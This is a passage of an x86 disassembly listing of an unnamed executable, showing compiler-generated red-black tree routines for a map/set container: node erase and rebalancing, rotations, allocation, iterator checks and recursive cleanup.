		mov	ecx, [edi]
		mov	[eax], ecx
		cmp	eax, [edi+8]
		jnz	short loc_40AA2B
		mov	esi, eax
		jmp	short loc_40AA45
; ---------------------------------------------------------------------------


loc_40AA2B:				; CODE XREF: sub_40A92E+F7j
		cmp	byte ptr [ebx+45h], 0
		mov	esi, [eax+4]
		jnz	short loc_40AA37
		mov	[ebx+4], esi


loc_40AA37:				; CODE XREF: sub_40A92E+104j
		mov	[esi], ebx
		mov	ecx, [edi+8]
		mov	[eax+8], ecx
		mov	ecx, [edi+8]
		mov	[ecx+4], eax


loc_40AA45:				; CODE XREF: sub_40A92E+FBj
		mov	ecx, [ebp+8]
		mov	ecx, [ecx+4]
		cmp	[ecx+4], edi
		jnz	short loc_40AA55
		mov	[ecx+4], eax
		jmp	short loc_40AA63
; ---------------------------------------------------------------------------


loc_40AA55:				; CODE XREF: sub_40A92E+120j
		mov	ecx, [edi+4]
		cmp	[ecx], edi
		jnz	short loc_40AA60
		mov	[ecx], eax
		jmp	short loc_40AA63
; ---------------------------------------------------------------------------


loc_40AA60:				; CODE XREF: sub_40A92E+12Cj
		mov	[ecx+8], eax


loc_40AA63:				; CODE XREF: sub_40A92E+125j
					; sub_40A92E+130j
		mov	ecx, [edi+4]
		mov	[eax+4], ecx
		mov	dl, [edi+44h]
		mov	cl, [eax+44h]
		mov	[eax+44h], dl
		mov	[edi+44h], cl


loc_40AA75:				; CODE XREF: sub_40A92E+CAj
					; sub_40A92E+EBj
		cmp	byte ptr [edi+44h], 1
		jnz	loc_40AB91
		jmp	loc_40AB45
; ---------------------------------------------------------------------------


loc_40AA84:				; CODE XREF: sub_40A92E+220j
		cmp	byte ptr [ebx+44h], 1
		jnz	loc_40AB8D
		mov	ecx, [esi]
		cmp	ebx, ecx
		jnz	short loc_40AB0B
		mov	ecx, [esi+8]
		cmp	byte ptr [ecx+44h], 0
		jnz	short loc_40AAB2
		push	dword ptr [ebp+8]
		mov	byte ptr [ecx+44h], 1
		mov	ecx, esi
		mov	byte ptr [esi+44h], 0
		call	sub_40ABDF
		mov	ecx, [esi+8]


loc_40AAB2:				; CODE XREF: sub_40A92E+16Dj
		cmp	byte ptr [ecx+45h], 0
		jnz	loc_40AB40
		mov	eax, [ecx]
		cmp	byte ptr [eax+44h], 1
		jnz	short loc_40AACD
		mov	eax, [ecx+8]
		cmp	byte ptr [eax+44h], 1
		jz	short loc_40AB3C


loc_40AACD:				; CODE XREF: sub_40A92E+194j
		mov	eax, [ecx+8]
		cmp	byte ptr [eax+44h], 1
		jnz	short loc_40AAEB
		mov	eax, [ecx]
		push	dword ptr [ebp+8]
		mov	byte ptr [eax+44h], 1
		mov	byte ptr [ecx+44h], 0
		call	sub_40AC1F
		mov	ecx, [esi+8]


loc_40AAEB:				; CODE XREF: sub_40A92E+1A6j
		mov	al, [esi+44h]
		push	dword ptr [ebp+8]
		mov	[ecx+44h], al
		mov	byte ptr [esi+44h], 1
		mov	eax, [ecx+8]
		mov	ecx, esi
		mov	byte ptr [eax+44h], 1
		call	sub_40ABDF
		jmp	loc_40AB8D
; ---------------------------------------------------------------------------


loc_40AB0B:				; CODE XREF: sub_40A92E+164j
		cmp	byte ptr [ecx+44h], 0
		jnz	short loc_40AB25
		push	dword ptr [ebp+8]
		mov	byte ptr [ecx+44h], 1
		mov	ecx, esi
		mov	byte ptr [esi+44h], 0
		call	sub_40AC1F
		mov	ecx, [esi]


loc_40AB25:				; CODE XREF: sub_40A92E+1E1j
		cmp	byte ptr [ecx+45h], 0
		jnz	short loc_40AB40
		mov	eax, [ecx+8]
		cmp	byte ptr [eax+44h], 1
		jnz	short loc_40AB56
		mov	eax, [ecx]
		cmp	byte ptr [eax+44h], 1
		jnz	short loc_40AB56


loc_40AB3C:				; CODE XREF: sub_40A92E+19Dj
		mov	byte ptr [ecx+44h], 0


loc_40AB40:				; CODE XREF: sub_40A92E+188j
					; sub_40A92E+1FBj
		mov	ebx, esi
		mov	esi, [esi+4]


loc_40AB45:				; CODE XREF: sub_40A92E+151j
		mov	eax, [ebp+8]
		mov	eax, [eax+4]
		cmp	ebx, [eax+4]
		jnz	loc_40AA84
		jmp	short loc_40AB8D
; ---------------------------------------------------------------------------


loc_40AB56:				; CODE XREF: sub_40A92E+204j
					; sub_40A92E+20Cj
		mov	eax, [ecx]
		cmp	byte ptr [eax+44h], 1
		jnz	short loc_40AB73
		mov	eax, [ecx+8]
		push	dword ptr [ebp+8]
		mov	byte ptr [eax+44h], 1
		mov	byte ptr [ecx+44h], 0
		call	sub_40ABDF
		mov	ecx, [esi]


loc_40AB73:				; CODE XREF: sub_40A92E+22Ej
		mov	al, [esi+44h]
		push	dword ptr [ebp+8]
		mov	[ecx+44h], al
		mov	byte ptr [esi+44h], 1
		mov	eax, [ecx]
		mov	ecx, esi
		mov	byte ptr [eax+44h], 1
		call	sub_40AC1F


loc_40AB8D:				; CODE XREF: sub_40A92E+15Aj
					; sub_40A92E+1D8j ...
		mov	byte ptr [ebx+44h], 1


loc_40AB91:				; CODE XREF: sub_40A92E+14Bj
		push	0
		lea	esi, [edi+0Ch]
		push	1
		lea	ecx, [esi+1Ch]
		call	sub_4013C4
		push	0
		push	1
		mov	ecx, esi
		call	sub_4013C4
		push	edi
		call	sub_40DD8A
		pop	ecx
		mov	ecx, [ebp+8]
		mov	eax, [ecx+8]
		test	eax, eax
		jbe	short loc_40ABC0
		dec	eax
		mov	[ecx+8], eax


loc_40ABC0:				; CODE XREF: sub_40A92E+28Cj
		mov	ecx, [ebp+10h]
		mov	eax, [ebp+0Ch]
		mov	[eax], ecx
		mov	ecx, [ebp+14h]
		pop	edi
		mov	[eax+4], ecx
		mov	ecx, [ebp-0Ch]
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	10h
sub_40A92E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40ABDF	proc near		; CODE XREF: sub_40A5B6+B8p
					; sub_40A5B6+120p ...

arg_0		= dword	ptr  4

		mov	eax, [ecx+8]
		mov	edx, [eax]
		mov	[ecx+8], edx
		mov	edx, [eax]
		cmp	byte ptr [edx+45h], 0
		jnz	short loc_40ABF2
		mov	[edx+4], ecx


loc_40ABF2:				; CODE XREF: sub_40ABDF+Ej
		mov	edx, [ecx+4]
		mov	[eax+4], edx
		mov	edx, [esp+arg_0]
		mov	edx, [edx+4]
		cmp	ecx, [edx+4]
		jnz	short loc_40AC09
		mov	[edx+4], eax
		jmp	short loc_40AC17
; ---------------------------------------------------------------------------


loc_40AC09:				; CODE XREF: sub_40ABDF+23j
		mov	edx, [ecx+4]
		cmp	ecx, [edx]
		jnz	short loc_40AC14
		mov	[edx], eax
		jmp	short loc_40AC17
; ---------------------------------------------------------------------------


loc_40AC14:				; CODE XREF: sub_40ABDF+2Fj
		mov	[edx+8], eax


loc_40AC17:				; CODE XREF: sub_40ABDF+28j
					; sub_40ABDF+33j
		mov	[eax], ecx
		mov	[ecx+4], eax
		retn	4
sub_40ABDF	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AC1F	proc near		; CODE XREF: sub_40A5B6+D5p
					; sub_40A5B6+103p ...

arg_0		= dword	ptr  4

		mov	eax, [ecx]
		mov	edx, [eax+8]
		mov	[ecx], edx
		mov	edx, [eax+8]
		cmp	byte ptr [edx+45h], 0
		jnz	short loc_40AC32
		mov	[edx+4], ecx


loc_40AC32:				; CODE XREF: sub_40AC1F+Ej
		mov	edx, [ecx+4]
		mov	[eax+4], edx
		mov	edx, [esp+arg_0]
		mov	edx, [edx+4]
		cmp	ecx, [edx+4]
		jnz	short loc_40AC49
		mov	[edx+4], eax
		jmp	short loc_40AC58
; ---------------------------------------------------------------------------


loc_40AC49:				; CODE XREF: sub_40AC1F+23j
		mov	edx, [ecx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_40AC56
		mov	[edx+8], eax
		jmp	short loc_40AC58
; ---------------------------------------------------------------------------


loc_40AC56:				; CODE XREF: sub_40AC1F+30j
		mov	[edx], eax


loc_40AC58:				; CODE XREF: sub_40AC1F+28j
					; sub_40AC1F+35j
		mov	[eax+8], ecx
		mov	[ecx+4], eax
		retn	4
sub_40AC1F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AC61	proc near		; CODE XREF: sub_408593+13p
		push	48h
		call	sub_40DE68
		xor	edx, edx
		cmp	eax, edx
		pop	ecx
		jz	short loc_40AC71
		mov	[eax], edx


loc_40AC71:				; CODE XREF: sub_40AC61+Cj
		lea	ecx, [eax+4]
		cmp	ecx, edx
		jz	short loc_40AC7A
		mov	[ecx], edx


loc_40AC7A:				; CODE XREF: sub_40AC61+15j
		lea	ecx, [eax+8]
		cmp	ecx, edx
		jz	short loc_40AC83
		mov	[ecx], edx


loc_40AC83:				; CODE XREF: sub_40AC61+1Ej
		mov	byte ptr [eax+44h], 1
		mov	[eax+45h], dl
		retn
sub_40AC61	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AC8B	proc near		; CODE XREF: sub_40A5B6+55p
		mov	eax, offset loc_41AEC2
		call	sub_41AE44
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp-10h], esp
		push	48h
		call	sub_40DE68
		mov	esi, eax
		pop	ecx
		mov	[ebp-14h], esi
		test	esi, esi
		mov	dword ptr [ebp-4], 1
		jz	short loc_40ACC6
		push	dword ptr [ebp+10h]
		mov	ecx, [ebp+14h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_40B168


loc_40ACC6:				; CODE XREF: sub_40AC8B+28j
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	10h
sub_40AC8B	endp


; =============== S U B	R O U T	I N E =======================================



sub_40ACD9	proc near		; DATA XREF: .vty:00420054o
		push	dword ptr [ebp-14h]
		call	sub_40DD8A
		pop	ecx
		push	0
		push	0
		call	sub_4107BC
		int	3		; Trap to Debugger
sub_40ACD9	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40ACEC	proc near		; CODE XREF: sub_40A73E+99p
		mov	eax, offset loc_41AFA6
		call	sub_41AE44
		sub	esp, 48h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+14h]
		cmp	byte ptr [edi+39h], 0
		jz	short loc_40AD37
		push	offset aInvalidMapSetT ; "invalid map/set<T> iterator"
		lea	ecx, [ebp-2Ch]
		call	sub_401C44
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-2Ch]
		push	eax
		lea	ecx, [ebp-54h]
		call	sub_401869
		push	offset dword_41FF68
		lea	eax, [ebp-54h]
		push	eax
		mov	dword ptr [ebp-54h], offset off_41C2B4
		call	sub_4107BC


loc_40AD37:				; CODE XREF: sub_40ACEC+17j
		lea	esi, [ebp+10h]
		call	sub_40B11B
		mov	ecx, [edi]
		cmp	byte ptr [ecx+39h], 0
		jz	short loc_40AD4C
		mov	ebx, [edi+8]
		jmp	short loc_40AD63
; ---------------------------------------------------------------------------


loc_40AD4C:				; CODE XREF: sub_40ACEC+59j
		mov	eax, [edi+8]
		cmp	byte ptr [eax+39h], 0
		jz	short loc_40AD59
		mov	ebx, ecx
		jmp	short loc_40AD63
; ---------------------------------------------------------------------------


loc_40AD59:				; CODE XREF: sub_40ACEC+67j
		mov	eax, [ebp+14h]
		cmp	eax, edi
		mov	ebx, [eax+8]
		jnz	short loc_40ADD9


loc_40AD63:				; CODE XREF: sub_40ACEC+5Ej
					; sub_40ACEC+6Bj
		cmp	byte ptr [ebx+39h], 0
		mov	esi, [edi+4]
		jnz	short loc_40AD6F
		mov	[ebx+4], esi


loc_40AD6F:				; CODE XREF: sub_40ACEC+7Ej
		mov	ecx, [ebp+8]
		mov	eax, [ecx+4]
		cmp	[eax+4], edi
		jnz	short loc_40AD7F
		mov	[eax+4], ebx
		jmp	short loc_40AD8A
; ---------------------------------------------------------------------------


loc_40AD7F:				; CODE XREF: sub_40ACEC+8Cj
		cmp	[esi], edi
		jnz	short loc_40AD87
		mov	[esi], ebx
		jmp	short loc_40AD8A
; ---------------------------------------------------------------------------


loc_40AD87:				; CODE XREF: sub_40ACEC+95j
		mov	[esi+8], ebx


loc_40AD8A:				; CODE XREF: sub_40ACEC+91j
					; sub_40ACEC+99j
		mov	edx, [ecx+4]
		cmp	[edx], edi
		jnz	short loc_40ADAD
		cmp	byte ptr [ebx+39h], 0
		jz	short loc_40AD9B
		mov	ecx, esi
		jmp	short loc_40ADAB
; ---------------------------------------------------------------------------


loc_40AD9B:				; CODE XREF: sub_40ACEC+A9j
		mov	eax, [ebx]
		mov	ecx, ebx
		jmp	short loc_40ADA5
; ---------------------------------------------------------------------------


loc_40ADA1:				; CODE XREF: sub_40ACEC+BDj
		mov	ecx, eax
		mov	eax, [ecx]


loc_40ADA5:				; CODE XREF: sub_40ACEC+B3j
		cmp	byte ptr [eax+39h], 0
		jz	short loc_40ADA1


loc_40ADAB:				; CODE XREF: sub_40ACEC+ADj
		mov	[edx], ecx


loc_40ADAD:				; CODE XREF: sub_40ACEC+A3j
		mov	eax, [ebp+8]
		mov	edx, [eax+4]
		cmp	[edx+8], edi
		jnz	short loc_40AE33
		cmp	byte ptr [ebx+39h], 0
		jz	short loc_40ADC2
		mov	ecx, esi
		jmp	short loc_40ADD4
; ---------------------------------------------------------------------------


loc_40ADC2:				; CODE XREF: sub_40ACEC+D0j
		mov	eax, [ebx+8]
		mov	ecx, ebx
		jmp	short loc_40ADCE
; ---------------------------------------------------------------------------


loc_40ADC9:				; CODE XREF: sub_40ACEC+E6j
		mov	ecx, eax
		mov	eax, [ecx+8]


loc_40ADCE:				; CODE XREF: sub_40ACEC+DBj
		cmp	byte ptr [eax+39h], 0
		jz	short loc_40ADC9


loc_40ADD4:				; CODE XREF: sub_40ACEC+D4j
		mov	[edx+8], ecx
		jmp	short loc_40AE33
; ---------------------------------------------------------------------------


loc_40ADD9:				; CODE XREF: sub_40ACEC+75j
		mov	[ecx+4], eax
		mov	ecx, [edi]
		mov	[eax], ecx
		cmp	eax, [edi+8]
		jnz	short loc_40ADE9
		mov	esi, eax
		jmp	short loc_40AE03
; ---------------------------------------------------------------------------


loc_40ADE9:				; CODE XREF: sub_40ACEC+F7j
		cmp	byte ptr [ebx+39h], 0
		mov	esi, [eax+4]
		jnz	short loc_40ADF5
		mov	[ebx+4], esi


loc_40ADF5:				; CODE XREF: sub_40ACEC+104j
		mov	[esi], ebx
		mov	ecx, [edi+8]
		mov	[eax+8], ecx
		mov	ecx, [edi+8]
		mov	[ecx+4], eax


loc_40AE03:				; CODE XREF: sub_40ACEC+FBj
		mov	ecx, [ebp+8]
		mov	ecx, [ecx+4]
		cmp	[ecx+4], edi
		jnz	short loc_40AE13
		mov	[ecx+4], eax
		jmp	short loc_40AE21
; ---------------------------------------------------------------------------


loc_40AE13:				; CODE XREF: sub_40ACEC+120j
		mov	ecx, [edi+4]
		cmp	[ecx], edi
		jnz	short loc_40AE1E
		mov	[ecx], eax
		jmp	short loc_40AE21
; ---------------------------------------------------------------------------


loc_40AE1E:				; CODE XREF: sub_40ACEC+12Cj
		mov	[ecx+8], eax


loc_40AE21:				; CODE XREF: sub_40ACEC+125j
					; sub_40ACEC+130j
		mov	ecx, [edi+4]
		mov	[eax+4], ecx
		mov	dl, [edi+38h]
		mov	cl, [eax+38h]
		mov	[eax+38h], dl
		mov	[edi+38h], cl


loc_40AE33:				; CODE XREF: sub_40ACEC+CAj
					; sub_40ACEC+EBj
		cmp	byte ptr [edi+38h], 1
		jnz	loc_40AF4F
		jmp	loc_40AF03
; ---------------------------------------------------------------------------


loc_40AE42:				; CODE XREF: sub_40ACEC+220j
		cmp	byte ptr [ebx+38h], 1
		jnz	loc_40AF4B
		mov	ecx, [esi]
		cmp	ebx, ecx
		jnz	short loc_40AEC9
		mov	ecx, [esi+8]
		cmp	byte ptr [ecx+38h], 0
		jnz	short loc_40AE70
		push	dword ptr [ebp+8]
		mov	byte ptr [ecx+38h], 1
		mov	ecx, esi
		mov	byte ptr [esi+38h], 0
		call	sub_40A7EA
		mov	ecx, [esi+8]


loc_40AE70:				; CODE XREF: sub_40ACEC+16Dj
		cmp	byte ptr [ecx+39h], 0
		jnz	loc_40AEFE
		mov	eax, [ecx]
		cmp	byte ptr [eax+38h], 1
		jnz	short loc_40AE8B
		mov	eax, [ecx+8]
		cmp	byte ptr [eax+38h], 1
		jz	short loc_40AEFA


loc_40AE8B:				; CODE XREF: sub_40ACEC+194j
		mov	eax, [ecx+8]
		cmp	byte ptr [eax+38h], 1
		jnz	short loc_40AEA9
		mov	eax, [ecx]
		push	dword ptr [ebp+8]
		mov	byte ptr [eax+38h], 1
		mov	byte ptr [ecx+38h], 0
		call	sub_40A82A
		mov	ecx, [esi+8]


loc_40AEA9:				; CODE XREF: sub_40ACEC+1A6j
		mov	al, [esi+38h]
		push	dword ptr [ebp+8]
		mov	[ecx+38h], al
		mov	byte ptr [esi+38h], 1
		mov	eax, [ecx+8]
		mov	ecx, esi
		mov	byte ptr [eax+38h], 1
		call	sub_40A7EA
		jmp	loc_40AF4B
; ---------------------------------------------------------------------------


loc_40AEC9:				; CODE XREF: sub_40ACEC+164j
		cmp	byte ptr [ecx+38h], 0
		jnz	short loc_40AEE3
		push	dword ptr [ebp+8]
		mov	byte ptr [ecx+38h], 1
		mov	ecx, esi
		mov	byte ptr [esi+38h], 0
		call	sub_40A82A
		mov	ecx, [esi]


loc_40AEE3:				; CODE XREF: sub_40ACEC+1E1j
		cmp	byte ptr [ecx+39h], 0
		jnz	short loc_40AEFE
		mov	eax, [ecx+8]
		cmp	byte ptr [eax+38h], 1
		jnz	short loc_40AF14
		mov	eax, [ecx]
		cmp	byte ptr [eax+38h], 1
		jnz	short loc_40AF14


loc_40AEFA:				; CODE XREF: sub_40ACEC+19Dj
		mov	byte ptr [ecx+38h], 0


loc_40AEFE:				; CODE XREF: sub_40ACEC+188j
					; sub_40ACEC+1FBj
		mov	ebx, esi
		mov	esi, [esi+4]


loc_40AF03:				; CODE XREF: sub_40ACEC+151j
		mov	eax, [ebp+8]
		mov	eax, [eax+4]
		cmp	ebx, [eax+4]
		jnz	loc_40AE42
		jmp	short loc_40AF4B
; ---------------------------------------------------------------------------


loc_40AF14:				; CODE XREF: sub_40ACEC+204j
					; sub_40ACEC+20Cj
		mov	eax, [ecx]
		cmp	byte ptr [eax+38h], 1
		jnz	short loc_40AF31
		mov	eax, [ecx+8]
		push	dword ptr [ebp+8]
		mov	byte ptr [eax+38h], 1
		mov	byte ptr [ecx+38h], 0
		call	sub_40A7EA
		mov	ecx, [esi]


loc_40AF31:				; CODE XREF: sub_40ACEC+22Ej
		mov	al, [esi+38h]
		push	dword ptr [ebp+8]
		mov	[ecx+38h], al
		mov	byte ptr [esi+38h], 1
		mov	eax, [ecx]
		mov	ecx, esi
		mov	byte ptr [eax+38h], 1
		call	sub_40A82A


loc_40AF4B:				; CODE XREF: sub_40ACEC+15Aj
					; sub_40ACEC+1D8j ...
		mov	byte ptr [ebx+38h], 1


loc_40AF4F:				; CODE XREF: sub_40ACEC+14Bj
		lea	ebx, [edi+0Ch]
		lea	esi, [ebx+1Ch]
		call	sub_405AAC
		push	0
		push	1
		mov	ecx, ebx
		call	sub_4013C4
		push	edi
		call	sub_40DD8A
		pop	ecx
		mov	ecx, [ebp+8]
		mov	eax, [ecx+8]
		test	eax, eax
		jbe	short loc_40AF7A
		dec	eax
		mov	[ecx+8], eax


loc_40AF7A:				; CODE XREF: sub_40ACEC+288j
		mov	ecx, [ebp+10h]
		mov	eax, [ebp+0Ch]
		mov	[eax], ecx
		mov	ecx, [ebp+14h]
		pop	edi
		mov	[eax+4], ecx
		mov	ecx, [ebp-0Ch]
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	10h
sub_40ACEC	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AF99	proc near		; CODE XREF: sub_408593+38p
		push	3Ch
		call	sub_40DE68
		xor	edx, edx
		cmp	eax, edx
		pop	ecx
		jz	short loc_40AFA9
		mov	[eax], edx


loc_40AFA9:				; CODE XREF: sub_40AF99+Cj
		lea	ecx, [eax+4]
		cmp	ecx, edx
		jz	short loc_40AFB2
		mov	[ecx], edx


loc_40AFB2:				; CODE XREF: sub_40AF99+15j
		lea	ecx, [eax+8]
		cmp	ecx, edx
		jz	short loc_40AFBB
		mov	[ecx], edx


loc_40AFBB:				; CODE XREF: sub_40AF99+1Ej
		mov	byte ptr [eax+38h], 1
		mov	[eax+39h], dl
		retn
sub_40AF99	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AFC3	proc near		; CODE XREF: sub_4081BF+352p
					; sub_40996D+69p

arg_0		= dword	ptr  4

		cmp	dword ptr [edi], 0
		jnz	short loc_40AFCD
		call	sub_40DCFC


loc_40AFCD:				; CODE XREF: sub_40AFC3+3j
		mov	eax, [edi+4]
		mov	ecx, [edi]
		push	esi
		mov	esi, [esp+4+arg_0]
		imul	esi, 2Ch
		add	eax, esi
		cmp	eax, [ecx+8]
		ja	short loc_40AFE6
		cmp	eax, [ecx+4]
		jnb	short loc_40AFEB


loc_40AFE6:				; CODE XREF: sub_40AFC3+1Cj
		call	sub_40DCFC


loc_40AFEB:				; CODE XREF: sub_40AFC3+21j
		add	[edi+4], esi
		mov	eax, edi
		pop	esi
		retn	4
sub_40AFC3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AFF4	proc near		; CODE XREF: sub_409A1D+69p
					; sub_40C232+22p

arg_0		= dword	ptr  4

		cmp	dword ptr [edi], 0
		jnz	short loc_40AFFE
		call	sub_40DCFC


loc_40AFFE:				; CODE XREF: sub_40AFF4+3j
		mov	eax, [edi+4]
		mov	ecx, [edi]
		push	esi
		mov	esi, [esp+4+arg_0]
		imul	esi, 1Ch
		add	eax, esi
		cmp	eax, [ecx+8]
		ja	short loc_40B017
		cmp	eax, [ecx+4]
		jnb	short loc_40B01C


loc_40B017:				; CODE XREF: sub_40AFF4+1Cj
		call	sub_40DCFC


loc_40B01C:				; CODE XREF: sub_40AFF4+21j
		add	[edi+4], esi
		mov	eax, edi
		pop	esi
		retn	4
sub_40AFF4	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B025	proc near		; CODE XREF: sub_40A86C+36p
		mov	eax, offset loc_41AEF1
		call	sub_41AE44
		push	ecx
		mov	eax, [ebp+8]
		mov	[esi], eax
		mov	eax, [ebp+0Ch]
		push	edi
		mov	[esi+4], eax
		mov	eax, [ebp+10h]
		lea	edi, [esi+0Ch]
		push	ebx
		mov	ecx, edi
		mov	[esi+8], eax
		mov	[ebp+8], edi
		call	sub_401C1E
		and	dword ptr [ebp-4], 0
		add	edi, 1Ch
		lea	ecx, [ebx+1Ch]
		push	edi
		call	sub_4075BC
		mov	ecx, [ebp-0Ch]
		mov	byte ptr [esi+38h], 0
		mov	byte ptr [esi+39h], 0
		mov	eax, esi
		mov	large fs:0, ecx
		pop	edi
		leave
		retn	0Ch
sub_40B025	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B079	proc near		; CODE XREF: sub_40A50C+42p
					; sub_40B079+1Bp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		cmp	byte ptr [edi+45h], 0
		mov	[ebp+var_4], ecx
		mov	esi, edi
		jnz	short loc_40B0C5
		push	ebx


loc_40B08E:				; CODE XREF: sub_40B079+49j
		push	dword ptr [esi+8]
		mov	ecx, [ebp+var_4]
		call	sub_40B079
		mov	esi, [esi]
		push	0
		lea	ebx, [edi+0Ch]
		push	1
		lea	ecx, [ebx+1Ch]
		call	sub_4013C4
		push	0
		push	1
		mov	ecx, ebx
		call	sub_4013C4
		push	edi
		call	sub_40DD8A
		cmp	byte ptr [esi+45h], 0
		pop	ecx
		mov	edi, esi
		jz	short loc_40B08E
		pop	ebx


loc_40B0C5:				; CODE XREF: sub_40B079+12j
		pop	edi
		pop	esi
		leave
		retn	4
sub_40B079	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B0CB	proc near		; CODE XREF: sub_40A73E+41p
					; sub_40B0CB+1Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	ecx
		push	ebp
		mov	ebp, [esp+8+arg_0]
		cmp	byte ptr [ebp+39h], 0
		push	edi
		mov	[esp+0Ch+var_4], ecx
		mov	edi, ebp
		jnz	short loc_40B115
		push	ebx
		push	esi


loc_40B0E0:				; CODE XREF: sub_40B0CB+46j
		push	dword ptr [edi+8]
		mov	ecx, [esp+18h+var_4]
		call	sub_40B0CB
		mov	edi, [edi]
		lea	ebx, [ebp+0Ch]
		lea	esi, [ebx+1Ch]
		call	sub_405AAC
		push	0
		push	1
		mov	ecx, ebx
		call	sub_4013C4
		push	ebp
		call	sub_40DD8A
		cmp	byte ptr [edi+39h], 0
		pop	ecx
		mov	ebp, edi
		jz	short loc_40B0E0
		pop	esi
		pop	ebx


loc_40B115:				; CODE XREF: sub_40B0CB+11j
		pop	edi
		pop	ebp
		pop	ecx
		retn	4
sub_40B0CB	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B11B	proc near		; CODE XREF: sub_40A73E+89p
					; sub_40ACEC+4Ep
		push	ebx
		xor	ebx, ebx
		cmp	[esi], ebx
		jnz	short loc_40B127
		call	sub_40DCFC


loc_40B127:				; CODE XREF: sub_40B11B+5j
		mov	eax, [esi+4]
		cmp	[eax+39h], bl
		jz	short loc_40B136
		call	sub_40DCFC
		jmp	short loc_40B164
; ---------------------------------------------------------------------------


loc_40B136:				; CODE XREF: sub_40B11B+12j
		mov	ecx, [eax+8]
		cmp	[ecx+39h], bl
		jnz	short loc_40B159
		jmp	short loc_40B142
; ---------------------------------------------------------------------------


loc_40B140:				; CODE XREF: sub_40B11B+2Cj
		mov	ecx, eax


loc_40B142:				; CODE XREF: sub_40B11B+23j
		mov	eax, [ecx]
		cmp	[eax+39h], bl
		jz	short loc_40B140
		mov	[esi+4], ecx
		jmp	short loc_40B164
; ---------------------------------------------------------------------------


loc_40B14E:				; CODE XREF: sub_40B11B+44j
		mov	ecx, [esi+4]
		cmp	ecx, [eax+8]
		jnz	short loc_40B161
		mov	[esi+4], eax


loc_40B159:				; CODE XREF: sub_40B11B+21j
		mov	eax, [eax+4]
		cmp	[eax+39h], bl
		jz	short loc_40B14E


loc_40B161:				; CODE XREF: sub_40B11B+39j
		mov	[esi+4], eax


loc_40B164:				; CODE XREF: sub_40B11B+19j
					; sub_40B11B+31j
		mov	eax, esi
		pop	ebx
		retn
sub_40B11B	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B168	proc near		; CODE XREF: sub_40AC8B+36p
		mov	eax, offset loc_41AEF1
		call	sub_41AE44
		mov	eax, [ebp+8]
		push	ebx
		mov	[esi], eax
		mov	eax, [ebp+0Ch]
		push	edi
		mov	ebx, ecx
		mov	[esi+4], eax
		mov	eax, [ebp+10h]
		lea	edi, [esi+0Ch]
		push	ebx
		mov	ecx, edi
		mov	[esi+8], eax
		mov	[ebp+8], edi
		call	sub_401C1E
		and	dword ptr [ebp-4], 0
		add	ebx, 1Ch
		push	ebx
		lea	ecx, [edi+1Ch]
		call	sub_401C1E
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	byte ptr [esi+44h], 0
		mov	byte ptr [esi+45h], 0
		mov	eax, esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn	0Ch
sub_40B168	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B1BF	proc near		; CODE XREF: sub_409E2A+1B0p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, eax
		sub	eax, [ebp+arg_0]
		push	edi
		cdq
		push	38h
		pop	ecx
		idiv	ecx
		mov	edi, [ebp+arg_4]
		imul	eax, 38h
		sub	edi, eax
		cmp	[ebp+arg_0], ebx
		jz	short loc_40B1FD
		mov	eax, [ebp+arg_4]
		sub	eax, ebx
		push	esi
		mov	[ebp+arg_4], eax
		jmp	short loc_40B1EA
; ---------------------------------------------------------------------------


loc_40B1E7:				; CODE XREF: sub_40B1BF+3Bj
		mov	eax, [ebp+arg_4]


loc_40B1EA:				; CODE XREF: sub_40B1BF+26j
		sub	ebx, 38h
		lea	esi, [eax+ebx]
		mov	eax, ebx
		call	sub_4076C2
		cmp	ebx, [ebp+arg_0]
		jnz	short loc_40B1E7
		pop	esi


loc_40B1FD:				; CODE XREF: sub_40B1BF+1Bj
		mov	eax, edi
		pop	edi
		pop	ebx
		pop	ebp
		retn
sub_40B1BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B203	proc near		; CODE XREF: sub_406E16+EEp
					; sub_40A022+A2p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		xor	eax, eax
		lea	edi, [ebp+var_4]
		stosb
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_407141
		add	esp, 10h
		pop	edi
		leave
		retn	8
sub_40B203	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B227	proc near		; CODE XREF: sub_40A022+1CEp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, eax
		sub	eax, [ebp+arg_0]
		push	2Ch
		cdq
		pop	ecx
		idiv	ecx
